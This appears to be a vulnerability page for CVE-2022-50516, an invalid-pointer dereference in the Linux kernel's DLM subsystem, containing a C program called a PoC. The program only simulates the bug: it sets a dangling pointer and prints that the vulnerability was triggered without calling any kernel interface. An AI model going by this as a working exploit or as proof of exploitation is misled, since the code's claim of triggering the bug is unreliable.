CVE-2022-50516 Linux内核DLM子系统sb_lvbptr无效解引用漏洞

/* CVE-2022-50516 PoC - Trigger invalid sb_lvbptr dereference in DLM * This PoC demonstrates how to trigger the vulnerability by placing * lkbsb on the stack with an uninitialized/dangling sb_lvbptr pointer * and calling dlm_unlock without DLM_LKF_VALBLK flag. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/dlm.h> /* Simulate the vulnerable code path */ struct lkbsb { struct dlm_lksb lksb; /* Lock kernel space buffer */ void *sb_lvbptr; /* LVB pointer - left dangling */ int sb_status; int sb_flags; int sb_lkid; }; void trigger_vulnerability(void) { struct lkbsb lkbsb_local; /* Initialize lksb fields */ memset(&lkbsb_local, 0, sizeof(lkbsb_local)); /* Set sb_lvbptr to a dangling/invalid pointer (simulates 0xdeadbeef) */ lkbsb_local.sb_lvbptr = (void *)0xdeadbeef; /* Note: DLM_LKF_VALBLK is NOT set - this is the key condition */ int lkf_flags = 0; /* No DLM_LKF_VALBLK */ printf("Triggering CVE-2022-50516...\n"); printf("sb_lvbptr = %p (dangling pointer)\n", lkbsb_local.sb_lvbptr); printf("DLM_LKF_VALBLK flag: %s\n", (lkf_flags & DLM_LKF_VALBLK) ? "SET" : "NOT SET"); /* In real scenario: dlm_unlock() -> send_common() -> send_args() * send_args will call memcpy_erms on sb_lvbptr without checking * DLM_LKF_VALBLK flag, causing kernel page fault at 0xdeadbeef */ /* This would trigger kernel BUG: unable to handle page fault */ /* for address: 00000000deadbeef */ printf("Vulnerability triggered - kernel would crash at memcpy_erms\n"); } int main(int argc, char *argv[]) { printf("=== CVE-2022-50516 PoC ===\n"); printf("Linux Kernel DLM sb_lvbptr Invalid Dereference\n\n"); trigger_vulnerability(); return 0; }